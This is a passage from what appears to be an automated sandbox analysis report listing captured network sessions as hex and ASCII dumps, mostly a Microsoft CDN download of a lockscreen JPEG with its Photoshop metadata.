f7 d0 ce 71 db 7f d7 47 55 a3 85 9a 3d 38 ea 3c 9b 15 54 78 99 8e 1f 66 a4 b2 db 3d f0 b7 6e dc 37 50 d6 fa 7c 86 19 41 2a 48 ef c1 95 bb 8d 49 ab f4 ad 4f Data Ascii: :JiY9%2FQrX~ii$]UQKDc<6LY3}~"x((fE<DV_c5oGz}jYXxoIhIc9wMj+"zHP_LR&qGU=8<Txf=n7P\|AHIO
2022-07-20 07:08:25 UTC	7510	IN	Data Raw: 04 b2 b6 d6 97 3d 8f de 1f 8a b4 da ff 00 57 69 0e a7 4f 1f 4c d9 30 65 cd 99 46 41 cb df 43 42 b1 6a a0 8c 10 5e 48 e3 bb 65 1c f1 27 81 55 a9 b5 da 2f 4f f5 0d 7b 46 41 20 80 a8 3c 99 cc 6a d9 3f b7 0d 49 a4 7f 4f d3 e9 66 91 16 16 33 29 92 50 9e 05 cf 27 12 7d 65 5c f5 1f a6 6b f5 33 69 f4 56 c9 1c 8b 7c ab 7f 04 9f c4 45 fa d5 1e 95 58 ea 27 71 9b 89 f8 08 3c b9 7e bd 69 f4 5f 96 6d 26 ad 20 2f a8 89 ac 6c 59 8f 42 45 7b ec 96 2e 2c 8d 95 a3 a1 21 bd ef 86 5a e8 a4 42 18 26 60 00 26 ec 4f 86 8c 5e a8 e7 30 fe 10 b1 63 f5 b2 df f7 aa 63 a4 02 26 71 7c 71 62 3c 2a 9e 55 a6 3e 9f 08 5d 6c 45 35 33 33 65 67 bc 78 c8 dd 4b dd 13 2b 72 56 49 4e 50 83 6a 60 46 fc d7 a3 a7 85 0b c8 c7 07 2d 73 73 db e6 ac 92 48 91 c4 e1 4b 49 e2 b8 e2 e9 af fc d5 1f a4 68 64 Data Ascii: =WiOL0eFACBj^He'U/O{FA <j?IOf3)P'}e\k3iV\|EX'q<~i_m& /lYBE{.,!ZB&`&O^0cc&q\|qb<*U>]lE533egxK+rVINPj`F-ssHKIhd
2022-07-20 07:08:25 UTC	7526	IN	Data Raw: 6e b4 71 f0 b7 5e 23 c2 d2 52 fa a6 82 36 93 41 20 79 25 89 2e e7 4b c5 c2 33 73 36 9f 27 f1 3c 0d 57 5c 41 d9 49 0e 39 23 24 a8 3b 31 db 44 b5 85 c9 b0 1b ab 40 fa 78 96 39 8c 52 f5 59 7f 88 43 f0 97 1f 57 cb 40 49 bd b7 76 53 6a 88 65 87 49 1e 59 18 0b e0 cf 68 98 9f 88 be 4c d4 b0 75 0a 09 0e 04 ec b8 c7 2f be b4 d1 42 a1 d2 46 c6 50 70 ba e2 63 92 3e 68 26 4f d9 95 38 aa 0d 02 c6 5e 2d 2c ed 3a 3c 78 c8 33 00 96 16 f0 26 4a 9f fa 5f fa a9 92 23 34 6e 9f 99 53 7f bc 3c 49 9b ca e9 c3 53 fa 63 c0 0e a0 0e 9c cc 24 c9 c1 cc af 91 86 57 43 c3 27 9a 87 a6 eb e3 54 d5 69 b0 66 51 ce 0f e1 cb f6 97 c5 4e c7 ca 48 f6 d2 b0 c1 bb 69 67 d2 a9 91 89 39 d1 71 61 6e c5 f1 29 a5 d3 33 7d ca 31 61 63 66 56 d8 4a 77 f9 d6 96 24 1c 05 4e 43 bb b6 ba 1a 88 cc 6e b7 38 Data Ascii: nq^#R6A y%.K3s6'<W\AI9#$;1D@x9RYCW@IvSjeIYhLu/BFPpc>h&O8^-,:<x3&J_#4nS<ISc$WC'TifQNHig9qan)3}1acfVJw$NCn8
2022-07-20 07:08:25 UTC	7542	IN	Data Raw: b4 41 db 42 d8 9a ee 34 e7 75 a8 33 62 0b 32 91 fa 28 80 6e 0d 1b 76 d5 dc d8 7e ba 1a 98 d6 59 25 e9 b2 32 ab 65 5b 93 c2 b2 5f f1 62 f3 78 bc b4 da 85 02 30 cc 58 28 24 85 f8 41 35 76 18 db 6d 65 41 61 4b 73 d4 7b e2 28 40 32 75 11 4f 70 23 b0 d7 46 78 cc 6f 6b ab 2f f7 78 85 04 6b 13 18 b0 3b c8 a6 d3 48 79 94 a8 3d c6 98 42 59 4e 98 dd f2 8b 9c bd be c5 a7 d4 47 ae 8a 60 6c 5e 09 46 57 f6 c6 be 2c be 6a cd 01 5e aa 9c 6e 77 77 50 89 e0 58 e6 8a ff 00 7c 8c 6e f7 38 2c 91 9e 1e 1f 86 82 6a 21 66 88 ed 16 37 07 cc 8d 52 69 35 ac 56 16 b9 8d c8 e5 3b b3 50 60 eb 26 cb 65 37 fd aa 2a 40 59 0a aa 81 da 07 2d 5a 41 94 9e fd 94 d0 31 b8 6c 31 d8 7b 28 67 52 0a 9e 28 c9 b7 d3 5c 65 62 3b 91 9a e7 ec e6 f0 d1 4c a5 1b 1b 39 17 52 37 63 4b a4 d7 48 21 82 76 03 Data Ascii: AB4u3b2(nv~Y%2e[_bx0X($A5vmeAaKs{(@2uOp#Fxok/xk;Hy=BYNG`l^FW,j^nwwPX\|n8,j!f7Ri5V;P`&e7*@Y-ZA1l1{(gR(\eb;L9R7cKH!v
2022-07-20 07:08:25 UTC	7548	IN	Data Raw: d1 c6 a7 0e c1 92 a4 d4 0b e7 c8 d6 07 79 3c 35 0a 29 05 52 08 d6 de cd b5 23 06 b7 01 b8 a8 0a 1b 71 8d 98 6c 61 52 35 ce 59 35 5a 87 23 77 11 57 a1 35 f0 4c 8c 10 9c 36 e5 63 52 3c 49 d2 19 06 40 2d 89 b0 cd 9a 80 7b 95 66 61 5a dd 2a 12 24 45 59 e3 b6 d1 93 13 50 6b 3c 6a 73 7c e3 1f a6 96 3b d8 93 df 81 f8 a9 a7 d4 46 24 91 bb 76 7d 14 ec 8b 94 13 71 73 7c a3 ba b2 9e 29 1f 60 a8 10 9c d2 49 94 5b db ff 00 2a d4 9a d8 48 63 06 99 9d d7 62 a5 b8 23 d9 f1 bd 6b 7d 44 b0 69 08 bd fb 4f c3 ef 34 b3 c8 48 e8 69 ae 71 de ff 00 79 fe aa 73 9b 31 96 42 d8 f6 5e a1 78 97 ef 0c 61 49 ec 5e ca 8b d3 d1 ad 0f a4 c5 d6 66 be 1d 79 86 58 6e 7b 61 84 33 fd ba 3a 79 72 cd 3b 0c cb 98 72 36 e6 53 59 b5 ea b7 23 15 3b c5 e9 0a 60 25 00 e5 bd c6 3b ae 28 88 62 78 d0 dd Data Ascii: y<5)R#qlaR5Y5Z#wW5L6cR<I@-{faZ$EYPk<js\|;F$v}qs\|)`I[Hcb#k}DiO4Hiqys1B^xaI^fyXn{a3:yr;r6SY#;`%;(bx
2022-07-20 07:08:25 UTC	7564	IN	Data Raw: 46 41 37 17 cd b2 80 bd a4 26 d7 a8 a5 27 94 ee 35 a0 84 b6 67 8d 64 5b 81 72 41 39 86 6f 8a bf 2b ab 80 5b 33 15 ba 9b 8b 1a 5f 50 f4 b2 a7 49 22 5a 44 71 70 a7 fb 72 d0 40 2d 88 bf b2 8d af 70 00 c3 e7 ad 49 8d b2 94 8c 96 b6 fc 39 4f ee d1 66 dc bf 49 a3 27 b4 fc db 2a 6d 52 e2 34 a9 d4 63 f1 39 e8 c2 bf b4 d5 08 22 f3 35 d9 b7 90 a0 66 65 a6 d7 93 f7 84 92 14 61 6c 6f fa 6a 4d 56 b0 1e b0 62 1a 44 03 8a db 33 85 f1 2f 2e 6a 7f 54 85 da 17 51 94 17 21 6e cd c2 5c 5f 92 c2 9b 45 a5 d5 23 2a de f2 cd 72 b8 77 ae dc d4 bf ee 50 b3 2b 5c 06 4b 30 36 36 b0 5c 1a 8e ac 68 a3 5d 30 60 a0 4a 81 9d 8e d5 5e 9f 87 2f 35 74 20 8a 39 22 0b b2 34 43 87 67 4a c2 9b 59 f9 6d 04 4a b7 25 4a 2a 3e de 4e 9d b9 da ba da 5d 1c 25 f3 1b 91 b8 f7 8b 66 a4 27 4e a2 46 c6 c0 Data Ascii: FA7&'5gd[rA9o+[3_PI"ZDqpr@-pI9OfI'mR4c9"5fealojMVbD3/.jTQ!n\_E#rwP+\K066\h]0`J^/5t 9"4CgJYmJ%J*>N]%f'NF
2022-07-20 07:08:25 UTC	7580	IN	Data Raw: 61 bc d6 53 7b 55 85 8d f6 55 c2 58 fd 35 7b 5a dd b5 9d ad 6f 6e fa b8 ac cc a0 fb 76 d7 28 17 c4 61 fa eb b4 d1 b1 b5 ea e4 df 75 71 ed ab a1 c6 ac c6 d7 a1 62 0d f6 55 82 83 ef ac 41 1d d4 05 85 5a dd f5 80 c2 86 17 df f2 5f 1e ca 02 e7 0e ea 38 55 c8 22 db aa e2 f6 ef ab de f5 8d e8 df 01 ba 8e 3b 7b 2a d8 e3 be b7 9a 2d 96 ae 3e 6a c3 6d 5b f4 56 0b f4 e1 57 0a 0d b6 1a d8 08 ac 05 6c 35 7c b7 3d f5 70 2f 56 08 07 be ac d8 56 dc 7e 9a be 24 8a 00 82 07 7d 70 80 0e fe 1d be fa 5d 86 dd a3 0f 9a 8a c6 51 07 66 5a c5 85 87 66 15 72 88 54 8c 2c d8 9f 75 14 23 8c ed c6 af 96 42 07 96 b0 59 23 03 cd fa ab 06 b9 de 2b 36 54 17 ed 38 d7 10 c7 ba b0 d9 5f dd 5c 5b 3d d5 99 b1 f9 ab 12 06 ed b4 03 1d bd 86 b1 21 48 1b 0e 17 a1 a5 8a 36 79 db 94 06 b5 cf 62 f7 Data Ascii: aS{UUX5{Zonv(auqbUAZ_8U";{*->jm[VWl5\|=p/VV~$}p]QfZfrT,u#BY#+6T8_\[=!H6yb
2022-07-20 07:08:25 UTC	7585	IN	Data Raw: 76 91 88 e1 01 53 35 bf 77 9a a2 93 d5 62 59 22 92 03 98 c6 72 b6 23 82 cc bc ac 8f c5 5f 96 8d 64 98 ee ec 60 36 7d aa 56 f5 68 1b 4c 93 e1 0e a9 24 07 8a fc 51 4d 16 e5 f0 ac 9e 1a 7d 3e 86 f2 69 d0 e0 5c e2 2d f1 8e 6f ab 46 28 b2 07 1b ad 7a ba ca 55 2f b0 8b 8b 1d d6 a4 96 58 ae e0 80 2d c4 ac 3e a9 fd ea 06 58 8b 4c a0 22 bb 1c 47 d5 f0 95 f2 d0 48 25 6e a6 24 07 22 c7 b7 97 c5 56 86 f9 80 e3 08 b9 80 bf 6f 96 8f a8 81 19 78 ee 24 cb 83 a9 18 65 9e 1d ce de 19 17 86 4a fc ba 4a 4c be 52 37 7d 6a 16 06 c0 fc f4 4e 40 71 d9 57 c8 08 de a7 fb eb 08 f2 f6 62 4d be 7a c2 d7 ac a4 02 46 c0 07 e9 34 59 98 a9 07 96 e4 0b fd 5a bc 7b 06 07 65 eb 1c 68 e1 7b 56 62 36 d7 b6 88 d8 7b 6d 7f 75 5e b6 55 c8 b5 5e b0 15 87 cd 58 8a b0 15 86 ef 92 d7 c6 b0 c6 81 d4 Data Ascii: vS5wbY"r#_d`6}VhL$QM}>i\-oF(zU/X->XL"GH%n$"Vox$eJJLR7}jN@qWbMzF4YZ{eh{Vb6{mu^U^X
2022-07-20 07:08:25 UTC	7601	IN	Data Raw: fa 2b a7 a8 8f 3a f6 ae 0c 3e ad 33 5c c9 13 2d d4 9c 19 4f c7 57 87 95 d7 32 f7 6e b7 cf 46 55 da 36 d5 d2 af 8d f7 d0 47 62 ad b5 48 ee ad 2e ae 21 c4 06 56 ef b5 85 4f 1a 9b 8c d7 16 ef df 41 c0 24 11 b0 6f a1 38 d9 bc 6f 15 d6 cd c7 88 cb b2 83 11 70 08 b5 4d 0a 80 23 90 12 3b f7 d6 ae 0c a0 48 b8 81 db 5a 70 86 ef 14 8c ad 7d b6 ab 8d 95 89 bf ba b8 86 35 86 3d c6 b2 d8 5a b0 16 ff 00 83 bf 75 5c ad 1b 03 58 0a b5 1a c0 ff 00 c1 7f 92 f5 f3 fc 96 3f 25 86 ca c6 b0 db 5d ff 00 27 65 5c 55 c5 65 ec ad b5 8f c9 8f fc 17 f9 71 35 b6 b8 8d 58 7c 98 d6 15 85 76 56 df 92 df 26 15 73 5b 6b 1a b0 b5 1e a7 28 d9 df 56 8c e0 6b 29 bd ed 6b 9d b5 99 4e ca 22 d5 71 56 db 44 ef 15 8d 5a b7 8c 6b 31 19 41 fd 14 08 b8 36 a2 5b 0b ec a0 06 ca b6 c3 56 bd 88 ac 2b 03 Data Ascii: +:>3\-OW2nFU6GbH.!VOA$o8opM#;HZp}5=Zu\X?%]'e\Ueq5X\|vV&s[k(Vk)kN"qVDZk1A6[V+
2022-07-20 07:08:25 UTC	7617	IN	Data Raw: 57 dd 5d f5 8d 5e d7 16 b0 a2 46 ca c6 8d 86 fa 23 69 dd 56 ef df 56 23 0e ea ed c2 ac 41 f7 50 cc 6c 3b ff 00 c2 8d b0 15 62 36 d1 b5 5c 8c 28 e1 58 61 56 b7 b2 af b0 9a b6 15 8f c9 73 58 55 c5 61 57 38 f7 d6 3f 25 c9 a0 df 26 15 7a ec ac 2b 0d d5 f4 7c 9d f5 da 6b be ad b3 7d 1b 76 d0 ab 1c 4d 7b 6a fb 6a e2 bb eb 0a f6 d6 35 71 56 ff 00 82 db 7e 4c 6b 2f 65 63 45 57 b7 7d 59 85 ef 5b 30 1b f7 57 1a 89 10 8d a3 65 21 8a d1 ae cd 9f a6 b2 bb 0c dd 97 db 44 e7 cb 1d 89 39 8d 19 34 6b 9e 35 36 ec c7 6e 55 a5 12 46 19 85 c8 c6 c4 5b 6f 0e c6 af b9 19 ef 89 07 0d 9f ba 6a 66 55 32 c0 87 10 0e 37 fa bb 7e d5 74 fd 2d de 38 f6 30 7b 3b e3 f1 36 34 be a1 ea 65 0c 32 f2 a8 dc 07 90 7c 54 8f a6 5e ae 92 55 b3 ab 0b 12 77 a3 7b 3c 2d 5f 9e 1a 66 95 55 86 78 d9 c8 Data Ascii: W]^F#iVV#APl;b6\(XaVsXUaW8?%&z+\|k}vM{jj5qV~Lk/ecEW}Y[0We!D94k56nUF[ojfU27~t-80{;64e2\|T^Uw{<-_fUx
2022-07-20 07:08:25 UTC	7625	IN	Data Raw: dd 8d 2d ea dd a2 80 1b 6b 0d 94 3d 9b 28 df 6d e8 6e b9 db 56 dd 56 14 2f 58 ed a0 a7 61 a0 0f fc 1d d4 ac 3b 69 0f 9d 0f cd 46 db 41 ab 51 ed 14 30 dd 44 a8 ac a4 63 5c 42 d5 80 a2 3b ef 46 c2 e4 9a 0a 06 35 bb f5 d5 87 b7 0a cc 45 af b4 77 56 50 3d f6 a4 65 b3 29 da 0f ea a0 ea bf 36 fa 21 81 01 76 df 6d 1b 0d a7 0a bb 0d b4 18 48 f6 5c 09 02 ca 7b a8 65 89 9e 32 6c 5a f6 fd 95 ac f2 33 ab 30 b8 26 d7 fa ad 97 c2 b5 d1 93 ef 12 d6 04 6d af fc 55 36 38 8b 8b 11 56 96 32 ae d8 df bf be ba 2c 55 02 8c 32 02 4d ff 00 e6 a5 62 d9 89 c7 6d ef 7a 2a 8e 11 49 c5 6b 26 a8 f5 46 d0 46 00 51 58 1b 30 5e 2e ff 00 ec 2b a7 29 bf 4f 1b 8e ca 79 67 20 67 1c 25 b1 17 ef f7 51 d4 69 b4 e5 4e dc d0 b1 07 ff 00 73 2f 12 fe ed 24 7a 9c 62 72 07 53 28 05 7b 33 2f fc b5 30 Data Ascii: -k=(mnVV/Xa;iFAQ0Dc\B;F5EwVP=e)6!vmH\{e2lZ30&mU68V2,U2Mbmz*Ik&FFQX0^.+)Oyg g%QiNs/$zbrS({3/0
2022-07-20 07:08:25 UTC	7641	IN	Data Raw: 04 e3 59 8f cf 56 ab 1a bd c0 ac 48 23 bb b2 ac 09 15 94 e3 7a 26 41 c5 58 6c f6 ff 00 a6 b3 26 3d f5 94 ad b0 b5 6c df 8f 76 15 7b df b6 b0 36 35 dd 40 8e 16 bf cf 56 7a 39 86 dd 95 b3 db 46 d8 5f b7 75 63 62 0d 60 2b be 85 ab 0a b1 d9 57 c6 db eb 29 a1 20 d9 57 1b 0f 6d 1a ee ab 1c 6b b7 e5 b5 5b e4 c7 6d 63 58 9c 77 d6 15 dc 36 0a fe db 68 91 40 8a e1 c2 d5 6f a7 b6 b3 5a c0 50 07 7d 5a d5 8e c1 57 23 0c 36 55 f7 8a 0a a2 e4 62 6a e3 61 af 66 ca d9 b6 b1 d9 7b d5 ab 11 b2 af ed db 81 ae cb 56 3d bb 2a fb 3b 2b 0a c6 b1 db 49 ac d0 4f 16 a9 75 27 2c 8d 1b 83 91 87 f0 e4 5e 75 93 eb 52 ff 00 4f e9 ca fe 76 52 16 47 38 88 54 f8 8d bf 89 6e 55 f0 d3 eb 7d 2e f3 4b 18 0e 5e 56 b8 61 e3 65 b7 8b eb 54 7e a1 30 41 d4 41 d2 4c 80 00 37 b2 65 f3 ef a7 d3 c8 ac Data Ascii: YVH#z&AXl&=lv{65@Vz9F_ucb`+W) Wmk[mcXw6h@oZP}ZW#6Ubjaf{V=*;+IOu',^uROvRG8TnU}.K^VaeT~0AAL7e
2022-07-20 07:08:25 UTC	7657	IN	Data Raw: 24 33 4a 49 8e 52 01 46 fa e0 6c ca 68 3c 92 2b 4d 26 31 4a 0e 5c ad fc a6 5f 1a 37 9a 8e 9e 43 96 54 38 1d c6 97 5f 1a b1 52 6f 20 26 e2 e3 0e 53 dd 40 90 1b 4f 26 23 b0 77 52 cc 85 d7 53 0a 05 47 4b 9b af 85 7e 2c b5 fe e6 d3 31 d4 a1 56 06 c5 71 18 82 bd 8c b4 35 5f d4 ba 62 d3 3b 66 1a a8 96 c9 2f fd a9 d5 30 57 f2 3a fd 56 a1 36 95 72 04 7c cc b1 f9 41 e5 2b 52 eb 3a 11 5a 73 9b 22 af 08 f6 79 69 47 a9 a1 6d 3e 24 81 b0 37 f0 d9 d7 c5 1a 37 35 4f 24 86 2d 42 9b db 01 66 0d e2 0c b8 7c 34 1d 57 28 6c 6d b8 1f 87 ba ac 80 94 cd 8a ef c2 a1 97 5d a5 8d 96 55 06 d8 16 db c9 99 7f 0d fc b5 22 aa f4 e2 94 0c ab 7b 95 23 0e 23 e6 a6 84 9e ae 95 c9 cf 13 6c bf 99 7c ad 50 fa 86 8e 24 d1 eb 34 b2 39 49 20 65 32 05 23 87 3c 4d c2 f1 67 e3 e2 5f 86 b4 69 fd 47 Data Ascii: $3JIRFlh<+M&1J\_7CT8_Ro &S@O&#wRSGK~,1Vq5_b;f/0W:V6r\|A+R:Zs"yiGm>$775O$-Bf\|4W(lm]U"{##l\|P$49I e2#<Mg_iG
2022-07-20 07:08:25 UTC	7665	IN	Data Raw: 0f 17 f9 aa 4f 55 f4 87 e8 e0 6f 18 d9 94 f0 b5 c7 89 69 75 ba e8 32 c2 f7 ca eb b0 9f 67 86 99 63 be 7b e0 2d 59 5c 59 86 c3 ba bb 7b a8 a1 04 28 ab 3e ea cd a7 b9 16 c4 76 55 cd 88 de 0d 34 0b c8 d6 c0 ee 23 b2 b2 42 f6 94 9c 54 9b 11 de 9d bf 15 30 cc 41 df 7a 94 07 30 c8 17 81 97 c5 8f f9 68 89 95 44 eb 89 be 00 83 bf cb 43 45 95 45 db 31 e1 c4 9f ad 49 36 81 cf e6 03 00 63 61 6b 8f 17 16 cc b4 35 0d 18 8d 25 c0 d8 de df 11 f2 9a 8c e9 97 2c e1 b2 9e c6 bf 2b 7d 9f 15 16 2b c5 6c ab 6c 05 c0 e2 6a 33 38 bd cd 73 58 13 71 6d 95 92 71 70 6b ab 11 cb 6c 41 18 1a e9 3e a2 63 1a 9e 24 0c 40 3e e1 43 56 f1 80 8a 87 33 5e c4 82 3b 3c 4f 7a 5e a9 29 a5 53 84 60 fe f3 77 d2 48 d6 1a 59 96 eb 2f 87 0f d7 f0 d0 95 a7 46 52 b7 42 b8 8b f9 7e 1a 54 60 3a ab 81 23 Data Ascii: OUoiu2gc{-Y\Y{(>vU4#BT0Az0hDCEE1I6cak5%,+}+llj38sXqmqpklA>c$@>CV3^;<Oz^)S`wHY/FRB~T`:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	50748	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	353	OUT	GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:24 UTC	578	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PlTB?ver=2a94 Last-Modified: Sun, 03 Jul 2022 05:02:37 GMT X-Source-Length: 1660833 X-Datacenter: northeu X-ActivityId: ae8da155-90f0-4f70-a5fd-3dec783ec969 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1660833 Cache-Control: public, max-age=122187 Expires: Thu, 21 Jul 2022 17:04:51 GMT Date: Wed, 20 Jul 2022 07:08:24 GMT Connection: close
2022-07-20 07:08:24 UTC	578	IN	Data Raw: ff d8 ff e1 21 83 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 33 3a 31 35 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: !ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:23:158"
2022-07-20 07:08:24 UTC	625	IN	Data Raw: 7f 34 6b 8b 83 fc 2f fb e7 ff d2 e8 9d 4f 54 2c 65 ac 06 9a 2c 3f a5 11 36 7b 7f 47 ee a9 df ca 1e b6 cd fe b7 fc 52 86 3b ed af 32 dc 7a 4d 77 d7 6e cf 55 af b0 b7 73 9b f4 1e d7 38 ff 00 86 df 67 e8 7f e0 3d 4f e6 d6 66 3e 7e 75 8e 75 d4 d5 75 74 59 63 a1 d7 7a 6f 76 e3 cf d1 66 ff 00 d6 da ef d5 6b db fc ee 35 95 59 fc ea da 39 57 59 83 5d c5 ee c5 be e6 ed 2c 75 65 d2 eb 20 d0 db 5a 2b bb d7 6f e6 7f 37 ec 67 e8 d4 66 26 97 02 09 74 fd 1b 1e ca db 6d 53 e9 1e 34 af 70 0c 0c d9 65 8d 27 db 56 ed de df e7 3f c0 ff 00 36 b3 3e d1 87 8b 83 5e 3f 4f 6d b9 14 08 b9 8e 2e 2f 6b 0e e2 1b 16 b7 d3 73 f7 58 3f 45 ea 7d 3f 4f fd 1a a1 6f 52 ea 55 8c 6b 1b 55 97 62 bc 57 47 da 41 1b 7e d0 5d 6b 9b fc cb d8 f7 57 e9 ff 00 a4 ab f4 0f fd 1d 16 fe 97 d3 4f 93 65 7f Data Ascii: 4k/OT,e,?6{GR;2zMwnUs8g=Of>~uuutYczovfk5Y9WY],ue Z+o7gf&tmS4pe'V?6>^?Om./ksX?E}?OoRUkUbWGA~]kWOe
2022-07-20 07:08:24 UTC	641	IN	Data Raw: 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 38 3a 35 37 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 Data Ascii: Data\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-07-11T18:57:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-07-12T
2022-07-20 07:08:24 UTC	694	IN	Data Raw: 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 38 3a 30 30 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 38 3a 30 30 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 Data Ascii: \Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-07-12T18:00:31-07:00 File Lockscreen_1920x1080_Landscape.psd closed 2016-07-12T18:00:39-07:00 File C:\Users\v-lizagh
2022-07-20 07:08:24 UTC	853	IN	Data Raw: 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 33 43 46 30 46 38 43 31 31 33 37 46 43 39 43 33 35 38 35 39 35 44 43 30 34 32 42 46 43 45 34 42 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 35 54 31 38 3a 31 36 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 01-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_Portrait3CF0F8C1137FC9C358595DC042BFCE4B7.psb saved 2016-08-15T18:16:32-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080
2022-07-20 07:08:24 UTC	901	IN	Data Raw: 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 33 54 31 35 3a 30 31 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 33 54 31 38 3a 31 33 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f Data Ascii: #xA;2016-10-03T15:01:47-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 